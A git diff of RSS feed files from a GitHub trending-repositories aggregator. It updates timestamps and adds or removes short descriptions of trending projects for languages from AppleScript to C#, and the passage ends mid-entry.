+0,0 @@ - - GitHub AppleScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:07Z - Weekly Trending of AppleScript in GitHub - - \ No newline at end of file diff --git a/arc/daily/index.xml b/arc/daily/index.xml index be130941447..89d88d2a220 100644 --- a/arc/daily/index.xml +++ b/arc/daily/index.xml @@ -1,7 +1,7 @@ GitHub Arc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:31Z + 2023-09-25T01:24:51Z Daily Trending of Arc in GitHub \ No newline at end of file diff --git a/arc/weekly/index.xml b/arc/weekly/index.xml deleted file mode 100644 index be4d49d5608..00000000000 --- a/arc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Arc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:08Z - Weekly Trending of Arc in GitHub - - \ No newline at end of file diff --git a/asciidoc/daily/index.xml b/asciidoc/daily/index.xml index 477b024e5a0..60302be93ba 100644 --- a/asciidoc/daily/index.xml +++ b/asciidoc/daily/index.xml @@ -1,14 +1,7 @@ GitHub AsciiDoc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:35Z + 2023-09-25T01:24:53Z Daily Trending of AsciiDoc in GitHub - - vaadin/docs - 2023-09-24T01:26:35Z - tag:github.com,2023-09-24:/vaadin/docs - - <p>Official documentation for Vaadin and Hilla.</p><hr> - \ No newline at end of file diff --git a/asciidoc/weekly/index.xml b/asciidoc/weekly/index.xml deleted file mode 100644 index 2d82c7dcb66..00000000000 --- a/asciidoc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AsciiDoc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:09Z - Weekly Trending of AsciiDoc in GitHub - - \ No newline at end of file diff --git a/asl/daily/index.xml b/asl/daily/index.xml index 6e053822037..b3a6c695fb3 100644 --- a/asl/daily/index.xml +++ b/asl/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:32Z + 2023-09-25T01:24:55Z Daily Trending of ASL in GitHub \ No newline at end of file diff --git a/asl/weekly/index.xml b/asl/weekly/index.xml deleted file mode 100644 index a18a00612bc..00000000000 --- a/asl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ASL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:11Z - Weekly Trending of ASL in GitHub - - \ No newline at end of file diff --git a/asn.1/daily/index.xml b/asn.1/daily/index.xml index 18ce74c4e54..1e708357888 100644 --- a/asn.1/daily/index.xml +++ b/asn.1/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASN.1 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:34Z + 2023-09-25T01:24:57Z Daily Trending of ASN.1 in GitHub \ No newline at end of file diff --git a/asn.1/weekly/index.xml b/asn.1/weekly/index.xml deleted file mode 100644 index 44e93ea0fb0..00000000000 --- a/asn.1/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ASN.1 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:12Z - Weekly Trending of ASN.1 in GitHub - - \ No newline at end of file diff --git a/asp.net/daily/index.xml b/asp.net/daily/index.xml index 981eaad8553..78d2913b154 100644 --- a/asp.net/daily/index.xml +++ b/asp.net/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASP.NET Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:37Z + 2023-09-25T01:24:59Z Daily Trending of ASP.NET in GitHub \ No newline at end of file diff --git a/asp.net/weekly/index.xml b/asp.net/weekly/index.xml deleted file mode 100644 index 16781281c06..00000000000 --- a/asp.net/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ASP.NET Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:13Z - Weekly Trending of ASP.NET in GitHub - - \ No newline at end of file diff --git a/aspectj/daily/index.xml b/aspectj/daily/index.xml index 1d4fb67dcef..6fd1b829bea 100644 --- a/aspectj/daily/index.xml +++ b/aspectj/daily/index.xml @@ -1,7 +1,7 @@ GitHub AspectJ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:36Z + 2023-09-25T01:24:58Z Daily Trending of AspectJ in GitHub \ No newline at end of file diff --git a/aspectj/weekly/index.xml b/aspectj/weekly/index.xml deleted file mode 100644 index 81719caf67e..00000000000 --- a/aspectj/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AspectJ Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:14Z - Weekly Trending of AspectJ in GitHub - - \ No newline at end of file diff --git a/assembly/daily/index.xml b/assembly/daily/index.xml index 616f3fcbe32..7cc95125edd 100644 --- a/assembly/daily/index.xml +++ b/assembly/daily/index.xml @@ -1,21 +1,7 @@ GitHub Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:41Z + 2023-09-25T01:25:02Z Daily Trending of Assembly in GitHub - - tsoding/todo.asm - 2023-09-24T01:26:41Z - tag:github.com,2023-09-24:/tsoding/todo.asm - - <p>Todo Web Application in flat assembler</p><hr> - - - tgrysztar/fasm - 2023-09-24T01:26:41Z - tag:github.com,2023-09-24:/tgrysztar/fasm - - <p>flat assembler 1 - reconstructed source history</p><hr> - \ No newline at end of file diff --git a/assembly/weekly/index.xml b/assembly/weekly/index.xml deleted file mode 100644 index 25616c1527a..00000000000 --- a/assembly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Assembly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:16Z - Weekly Trending of Assembly in GitHub - - \ No newline at end of file diff --git a/astro/daily/index.xml b/astro/daily/index.xml index a959c20424c..fd13dd6bc37 100644 --- a/astro/daily/index.xml +++ b/astro/daily/index.xml @@ -1,21 +1,7 @@ GitHub Astro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:38Z + 2023-09-25T01:25:05Z Daily Trending of Astro in GitHub - - unfolding-io/nebulix - 2023-09-24T01:26:38Z - tag:github.com,2023-09-24:/unfolding-io/nebulix - - <p>Nebulix, a Fast & Green Theme Based on Astro + Static CMS + Snipcart</p><hr> - - - shishkin/astro-pagefind - 2023-09-24T01:26:38Z - tag:github.com,2023-09-24:/shishkin/astro-pagefind - - <p>Astro integration for Pagefind static site search.</p><hr> - \ No newline at end of file diff --git a/astro/weekly/index.xml b/astro/weekly/index.xml deleted file mode 100644 index cfde0c4fd4d..00000000000 --- a/astro/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Astro Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:19Z - Weekly Trending of Astro in GitHub - - - learnwithjason/astro-frontend-masters - 2023-09-24T01:46:19Z - tag:github.com,2023-09-24:/learnwithjason/astro-frontend-masters - - <p>Astro workshop demo for Frontend Masters</p><hr> - - - hackclub/harvest - 2023-09-24T01:46:19Z - tag:github.com,2023-09-24:/hackclub/harvest - - <p>All-female coding event in Vermont w/ Girl Scouts of the Green and White Mountains!</p><hr> - - \ No newline at end of file diff --git a/asymptote/daily/index.xml b/asymptote/daily/index.xml index 84c43d65361..dbcb25d3a4a 100644 --- a/asymptote/daily/index.xml +++ b/asymptote/daily/index.xml @@ -1,7 +1,7 @@ GitHub Asymptote Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:43Z + 2023-09-25T01:25:06Z Daily Trending of Asymptote in GitHub \ No newline at end of file diff --git a/asymptote/weekly/index.xml b/asymptote/weekly/index.xml deleted file mode 100644 index 0cb99322b4f..00000000000 --- a/asymptote/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Asymptote Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:22Z - Weekly Trending of Asymptote in GitHub - - \ No newline at end of file diff --git a/ats/daily/index.xml b/ats/daily/index.xml index 1bf4bb63889..95b5ec37283 100644 --- a/ats/daily/index.xml +++ b/ats/daily/index.xml @@ -1,7 +1,7 @@ GitHub ATS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:44Z + 2023-09-25T01:25:08Z Daily Trending of ATS in GitHub \ No newline at end of file diff --git a/ats/weekly/index.xml b/ats/weekly/index.xml deleted file mode 100644 index bc608c654c3..00000000000 --- a/ats/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ATS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:21Z - Weekly Trending of ATS in GitHub - - \ No newline at end of file diff --git a/augeas/daily/index.xml b/augeas/daily/index.xml index 26bfb44f800..65ca245c4bf 100644 --- a/augeas/daily/index.xml +++ b/augeas/daily/index.xml @@ -1,7 +1,7 @@ GitHub Augeas Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:45Z + 2023-09-25T01:25:07Z Daily Trending of Augeas in GitHub \ No newline at end of file diff --git a/augeas/weekly/index.xml b/augeas/weekly/index.xml deleted file mode 100644 index 98671a67147..00000000000 --- a/augeas/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Augeas Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:20Z - Weekly Trending of Augeas in GitHub - - \ No newline at end of file diff --git a/autohotkey/daily/index.xml b/autohotkey/daily/index.xml index 45db349b9f3..2fb056e8111 100644 --- a/autohotkey/daily/index.xml +++ b/autohotkey/daily/index.xml @@ -1,7 +1,7 @@ GitHub AutoHotkey Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:42Z + 2023-09-25T01:25:09Z Daily Trending of AutoHotkey in GitHub \ No newline at end of file diff --git a/autohotkey/weekly/index.xml b/autohotkey/weekly/index.xml deleted file mode 100644 index 610b8db946b..00000000000 --- a/autohotkey/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub AutoHotkey Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:23Z - Weekly Trending of AutoHotkey in GitHub - - - xianyukang/MyKeymap - 2023-09-24T01:46:23Z - tag:github.com,2023-09-24:/xianyukang/MyKeymap - - <p>一款基于 AutoHotkey 的键盘映射工具</p><hr> - - - SeanJM/bomberkeys - 2023-09-24T01:46:23Z - tag:github.com,2023-09-24:/SeanJM/bomberkeys - - <p>An Autohotkey script for Bombermine</p><hr> - - \ No newline at end of file diff --git a/autoit/daily/index.xml b/autoit/daily/index.xml index b5d262c0a6e..777402d04a0 100644 --- a/autoit/daily/index.xml +++ b/autoit/daily/index.xml @@ -1,7 +1,7 @@ GitHub AutoIt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:46Z + 2023-09-25T01:25:14Z Daily Trending of AutoIt in GitHub \ No newline at end of file diff --git a/autoit/weekly/index.xml b/autoit/weekly/index.xml deleted file mode 100644 index 78a7a7f00a3..00000000000 --- a/autoit/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AutoIt Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:27Z - Weekly Trending of AutoIt in GitHub - - \ No newline at end of file diff --git a/avro-idl/daily/index.xml b/avro-idl/daily/index.xml index 58190332e55..3812b0c05e3 100644 --- a/avro-idl/daily/index.xml +++ b/avro-idl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Avro IDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:49Z + 2023-09-25T01:25:11Z Daily Trending of Avro IDL in GitHub \ No newline at end of file diff --git a/avro-idl/weekly/index.xml b/avro-idl/weekly/index.xml deleted file mode 100644 index 70a814e72de..00000000000 --- a/avro-idl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Avro IDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:24Z - Weekly Trending of Avro IDL in GitHub - - \ No newline at end of file diff --git a/awk/daily/index.xml b/awk/daily/index.xml index cd20e73c314..ee7af1af598 100644 --- a/awk/daily/index.xml +++ b/awk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Awk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:47Z + 2023-09-25T01:25:12Z Daily Trending of Awk in GitHub \ No newline at end of file diff --git a/awk/weekly/index.xml b/awk/weekly/index.xml deleted file mode 100644 index 47cc8b0eb99..00000000000 --- a/awk/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Awk Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:26Z - Weekly Trending of Awk in GitHub - - \ No newline at end of file diff --git a/ballerina/daily/index.xml b/ballerina/daily/index.xml index 66362c9a0e9..1a9234275cd 100644 --- a/ballerina/daily/index.xml +++ b/ballerina/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ballerina Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:48Z + 2023-09-25T01:25:10Z Daily Trending of Ballerina in GitHub \ No newline at end of file diff --git a/ballerina/weekly/index.xml b/ballerina/weekly/index.xml deleted file mode 100644 index e9f54834974..00000000000 --- a/ballerina/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Ballerina Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:25Z - Weekly Trending of Ballerina in GitHub - - - ballerina-platform/module-ballerinax-zipkin - 2023-09-24T01:46:25Z - tag:github.com,2023-09-24:/ballerina-platform/module-ballerinax-zipkin - - <p>Ballerina Zipkin Observability Extension Module</p><hr> - - \ No newline at end of file diff --git a/basic/daily/index.xml b/basic/daily/index.xml index dd0c956eb82..8a56c8b007c 100644 --- a/basic/daily/index.xml +++ b/basic/daily/index.xml @@ -1,7 +1,7 @@ GitHub BASIC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:50Z + 2023-09-25T01:25:16Z Daily Trending of BASIC in GitHub \ No newline at end of file diff --git a/basic/weekly/index.xml b/basic/weekly/index.xml deleted file mode 100644 index f093a1b73a8..00000000000 --- a/basic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub BASIC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:29Z - Weekly Trending of BASIC in GitHub - - \ No newline at end of file diff --git a/batchfile/daily/index.xml b/batchfile/daily/index.xml index 75e55c939d9..f9ba03e3b65 100644 --- a/batchfile/daily/index.xml +++ b/batchfile/daily/index.xml @@ -1,14 +1,7 @@ GitHub Batchfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:54Z + 2023-09-25T01:25:19Z Daily Trending of Batchfile in GitHub - - Zuntan03/EasyPromptAnime - 2023-09-24T01:26:54Z - tag:github.com,2023-09-24:/Zuntan03/EasyPromptAnime - - <p>ローカル PC でプロンプトから簡単に動画を生成します。</p><hr> - \ No newline at end of file diff --git a/batchfile/weekly/index.xml b/batchfile/weekly/index.xml deleted file mode 100644 index 756c937a492..00000000000 --- a/batchfile/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Batchfile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:33Z - Weekly Trending of Batchfile in GitHub - - \ No newline at end of file diff --git a/beef/daily/index.xml b/beef/daily/index.xml index 76daa0b7ac4..8dde0a6b455 100644 --- a/beef/daily/index.xml +++ b/beef/daily/index.xml @@ -1,7 +1,7 @@ GitHub Beef Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:52Z + 2023-09-25T01:25:16Z Daily Trending of Beef in GitHub \ No newline at end of file diff --git a/beef/weekly/index.xml b/beef/weekly/index.xml deleted file mode 100644 index bcd58b3728a..00000000000 --- a/beef/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Beef Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:28Z - Weekly Trending of Beef in GitHub - - \ No newline at end of file diff --git a/befunge/daily/index.xml b/befunge/daily/index.xml index 185b4c5948f..09ba8240708 100644 --- a/befunge/daily/index.xml +++ b/befunge/daily/index.xml @@ -1,7 +1,7 @@ GitHub Befunge Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:51Z + 2023-09-25T01:25:15Z Daily Trending of Befunge in GitHub \ No newline at end of file diff --git a/befunge/weekly/index.xml b/befunge/weekly/index.xml deleted file mode 100644 index 349e1449438..00000000000 --- a/befunge/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Befunge Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:30Z - Weekly Trending of Befunge in GitHub - - \ No newline at end of file diff --git a/berry/daily/index.xml b/berry/daily/index.xml index 5dc41b3f4bd..7bcb096abd9 100644 --- a/berry/daily/index.xml +++ b/berry/daily/index.xml @@ -1,7 +1,7 @@ GitHub Berry Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:59Z + 2023-09-25T01:25:21Z Daily Trending of Berry in GitHub \ No newline at end of file diff --git a/berry/weekly/index.xml b/berry/weekly/index.xml deleted file mode 100644 index 0b509c309df..00000000000 --- a/berry/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Berry Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:34Z - Weekly Trending of Berry in GitHub - - \ No newline at end of file diff --git a/bibtex/daily/index.xml b/bibtex/daily/index.xml index a26aa6b3185..c4f1fe6441f 100644 --- a/bibtex/daily/index.xml +++ b/bibtex/daily/index.xml @@ -1,7 +1,7 @@ GitHub BibTeX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:55Z + 2023-09-25T01:25:20Z Daily Trending of BibTeX in GitHub \ No newline at end of file diff --git a/bibtex/weekly/index.xml b/bibtex/weekly/index.xml deleted file mode 100644 index e7e0c7c347f..00000000000 --- a/bibtex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub BibTeX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:35Z - Weekly Trending of BibTeX in GitHub - - \ No newline at end of file diff --git a/bicep/daily/index.xml b/bicep/daily/index.xml index 28ab6402f6e..f63e2f11271 100644 --- a/bicep/daily/index.xml +++ b/bicep/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bicep Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:57Z + 2023-09-25T01:25:24Z Daily Trending of Bicep in GitHub \ No newline at end of file diff --git a/bicep/weekly/index.xml b/bicep/weekly/index.xml deleted file mode 100644 index 0f7dd925290..00000000000 --- a/bicep/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Bicep Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:36Z - Weekly Trending of Bicep in GitHub - - \ No newline at end of file diff --git a/bison/daily/index.xml b/bison/daily/index.xml index 9cc7568cb44..177a8019ca0 100644 --- a/bison/daily/index.xml +++ b/bison/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bison Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:03Z + 2023-09-25T01:25:25Z Daily Trending of Bison in GitHub \ No newline at end of file diff --git a/bison/weekly/index.xml b/bison/weekly/index.xml deleted file mode 100644 index 435532ca101..00000000000 --- a/bison/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Bison Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:39Z - Weekly Trending of Bison in GitHub - - \ No newline at end of file diff --git a/bitbake/daily/index.xml b/bitbake/daily/index.xml index d960595996b..6e83e895a8a 100644 --- a/bitbake/daily/index.xml +++ b/bitbake/daily/index.xml @@ -1,7 +1,7 @@ GitHub BitBake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:01Z + 2023-09-25T01:25:27Z Daily Trending of BitBake in GitHub \ No newline at end of file diff --git a/bitbake/weekly/index.xml b/bitbake/weekly/index.xml deleted file mode 100644 index 66368b64648..00000000000 --- a/bitbake/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub BitBake Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:43Z - Weekly Trending of BitBake in GitHub - - - OE4T/meta-tegra-community - 2023-09-24T01:46:43Z - tag:github.com,2023-09-24:/OE4T/meta-tegra-community - - <p>Repository for community-maintained recipes for additional packages for NVIDIA Jetson platforms</p><hr> - - \ No newline at end of file diff --git a/blade/daily/index.xml b/blade/daily/index.xml index 4737a9a6eea..5f24b3edae7 100644 --- a/blade/daily/index.xml +++ b/blade/daily/index.xml @@ -1,14 +1,7 @@ GitHub Blade Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:04Z + 2023-09-25T01:25:28Z Daily Trending of Blade in GitHub - - sssreddys/StudentManagement - 2023-09-24T01:27:04Z - tag:github.com,2023-09-24:/sssreddys/StudentManagement - - <p></p><hr> - \ No newline at end of file diff --git a/blade/weekly/index.xml b/blade/weekly/index.xml deleted file mode 100644 index 728f8545a07..00000000000 --- a/blade/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Blade Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:41Z - Weekly Trending of Blade in GitHub - - - takielias/tablar - 2023-09-24T01:46:41Z - tag:github.com,2023-09-24:/takielias/tablar - - <p>Tablar: A Laravel Dashboard Preset Based on Tabler HTML Template + Vite. https://tablar.ebuz.xyz/docs</p><hr> - - - cedev935/OpenChat - 2023-09-24T01:46:41Z - tag:github.com,2023-09-24:/cedev935/OpenChat - - <p></p><hr> - - \ No newline at end of file diff --git a/blitzbasic/daily/index.xml b/blitzbasic/daily/index.xml index e4287fd6262..e044c33cdd9 100644 --- a/blitzbasic/daily/index.xml +++ b/blitzbasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub BlitzBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:02Z + 2023-09-25T01:25:26Z Daily Trending of BlitzBasic in GitHub \ No newline at end of file diff --git a/blitzbasic/weekly/index.xml b/blitzbasic/weekly/index.xml deleted file mode 100644 index 0b4877d1f3c..00000000000 --- a/blitzbasic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub BlitzBasic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:39Z - Weekly Trending of BlitzBasic in GitHub - - \ No newline at end of file diff --git a/blitzmax/daily/index.xml b/blitzmax/daily/index.xml index 04eb52db11d..34943d93d0e 100644 --- a/blitzmax/daily/index.xml +++ b/blitzmax/daily/index.xml @@ -1,7 +1,7 @@ GitHub BlitzMax Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:06Z + 2023-09-25T01:25:30Z Daily Trending of BlitzMax in GitHub \ No newline at end of file diff --git a/blitzmax/weekly/index.xml b/blitzmax/weekly/index.xml deleted file mode 100644 index 212c7b86cc9..00000000000 --- a/blitzmax/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub BlitzMax Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:46Z - Weekly Trending of BlitzMax in GitHub - - \ No newline at end of file diff --git a/bluespec/daily/index.xml b/bluespec/daily/index.xml index b0ced404276..16ac2257313 100644 --- a/bluespec/daily/index.xml +++ b/bluespec/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bluespec Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:05Z + 2023-09-25T01:25:30Z Daily Trending of Bluespec in GitHub \ No newline at end of file diff --git a/bluespec/weekly/index.xml b/bluespec/weekly/index.xml deleted file mode 100644 index 2760a0757ab..00000000000 --- a/bluespec/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Bluespec Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:47Z - Weekly Trending of Bluespec in GitHub - - \ No newline at end of file diff --git a/boo/daily/index.xml b/boo/daily/index.xml index 54ac3615d2f..76cca127e81 100644 --- a/boo/daily/index.xml +++ b/boo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Boo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:07Z + 2023-09-25T01:25:31Z Daily Trending of Boo in GitHub \ No newline at end of file diff --git a/boo/weekly/index.xml b/boo/weekly/index.xml deleted file mode 100644 index a6fdb9a0838..00000000000 --- a/boo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Boo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:44Z - Weekly Trending of Boo in GitHub - - \ No newline at end of file diff --git a/boogie/daily/index.xml b/boogie/daily/index.xml index 49457cdce7d..e57c996a6d7 100644 --- a/boogie/daily/index.xml +++ b/boogie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Boogie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:11Z + 2023-09-25T01:25:34Z Daily Trending of Boogie in GitHub \ No newline at end of file diff --git a/boogie/weekly/index.xml b/boogie/weekly/index.xml deleted file mode 100644 index aaf08b7f37e..00000000000 --- a/boogie/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Boogie Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:50Z - Weekly Trending of Boogie in GitHub - - \ No newline at end of file diff --git a/brainfuck/daily/index.xml b/brainfuck/daily/index.xml index 615a24496b8..8cd4902f3b0 100644 --- a/brainfuck/daily/index.xml +++ b/brainfuck/daily/index.xml @@ -1,7 +1,7 @@ GitHub Brainfuck Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:12Z + 2023-09-25T01:25:36Z Daily Trending of Brainfuck in GitHub \ No newline at end of file diff --git a/brainfuck/weekly/index.xml b/brainfuck/weekly/index.xml deleted file mode 100644 index 6e76a0cdae5..00000000000 --- a/brainfuck/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Brainfuck Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:48Z - Weekly Trending of Brainfuck in GitHub - - \ No newline at end of file diff --git a/brightscript/daily/index.xml b/brightscript/daily/index.xml index cef15b53646..9b9a8006fbf 100644 --- a/brightscript/daily/index.xml +++ b/brightscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Brightscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:10Z + 2023-09-25T01:25:35Z Daily Trending of Brightscript in GitHub \ No newline at end of file diff --git a/brightscript/weekly/index.xml b/brightscript/weekly/index.xml deleted file mode 100644 index 75fbbb01770..00000000000 --- a/brightscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Brightscript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:49Z - Weekly Trending of Brightscript in GitHub - - \ No newline at end of file diff --git a/browserslist/daily/index.xml b/browserslist/daily/index.xml index 1c9fb3db02d..384ae30031c 100644 --- a/browserslist/daily/index.xml +++ b/browserslist/daily/index.xml @@ -1,7 +1,7 @@ GitHub Browserslist Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:13Z + 2023-09-25T01:25:38Z Daily Trending of Browserslist in GitHub \ No newline at end of file diff --git a/browserslist/weekly/index.xml b/browserslist/weekly/index.xml deleted file mode 100644 index e6efafbb782..00000000000 --- a/browserslist/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Browserslist Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:51Z - Weekly Trending of Browserslist in GitHub - - \ No newline at end of file diff --git a/c%23/daily/index.xml b/c%23/daily/index.xml index 134b70114c9..614b94d18e1 100644 --- a/c%23/daily/index.xml +++ b/c%23/daily/index.xml @@ -1,21 +1,21 @@ GitHub C# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:20Z + 2023-09-25T01:25:47Z Daily Trending of C# in GitHub - Crypto137/MHServerEmu - 2023-09-24T01:27:20Z - tag:github.com,2023-09-24:/Crypto137/MHServerEmu - - <p>A server emulator for Marvel Heroes</p><hr><h1>MHServerEmu</h1> <p>MHServerEmu is an experimental server emulator for Marvel Heroes.</p> <p>The only currently supported version of the game client is <strong>1.52.0.1700</strong> (also known as <strong>2.16a</strong>).</p> <p>Please see <a href="https://github.com/Crypto137/MHServerEmu/raw/master/docs/Overview.md">Overview.md</a> to find out how everything works.</p> <p>If you want to ask questions about the server emulator or help with the development, feel free to join our Discord: <a href="https://discord.gg/hjR8Bj52t3">https://discord.gg/hjR8Bj52t3</a></p> <h2>Features</h2> <p>This server emulator is currently in early stages of development. Currently it features:</p> <ul> <li> <p>Network protocol implementation.</p> </li> <li> <p>Exploration of all hubs, as well as a number of combat zones.</p> </li> <li> <p>Hero and costume selection.</p> </li> <li> <p>Rudimentary implementation of hero 